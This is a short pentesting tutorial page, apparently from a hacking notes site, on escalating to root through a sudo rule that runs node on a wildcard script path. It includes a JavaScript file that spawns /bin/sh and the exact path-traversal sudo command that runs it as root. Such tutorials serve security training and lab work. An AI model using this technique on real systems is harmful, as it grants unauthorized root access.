Linux Privilege Escalation
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  • Apache Conf Privilege Escalation
  • Bash eq Privilege Escalation
  • Buffer Overflow Privilege Escalation
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  • Doas Privilege Escalation
  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
  • LXC/LXD (Linux Container/Daemon) Privilege Escalation
  • Linux Privilege Escalation
  • Mozilla Pentesting
  • OpenSSL Privilege Escalation
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  • Python Eval Code Execution
  • Python Jails Escape
  • Python Privilege Escalation
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  • Ruby Privilege Escalation
  • Rust Privilege Escalation
  • SSSD Privilege Escalation
  • Shared Library Hijacking
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  • Sudo ClamAV Privilege Escalation
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  • Sudo Exiftool Privilege Escalation
  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
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Sudo Path Traversal Privilege Escalation

If some sudo command receives a file path, we might escalate to privileges using path traversal.

Investigation

sudo -l

(ALL) /usr/bin/node /usr/local/scripts/*.js
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If the file path uses wildcards, we may execute arbitrary files. In short, we can refer to files in different directories which the system owner unintended.

Exploitation

Assume we can execute ‘node’ command as root and js file. Create the “test.js” under /tmp, which spawns a root shell after executing ‘node’ command.

// /tmp/test.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
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Now run ‘node’ command as root. We can pass the file using path traversal.

sudo /usr/bin/node /usr/local/scripts/../../../tmp/test.js
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Last updated 1 year ago

  • Investigation
  • Exploitation
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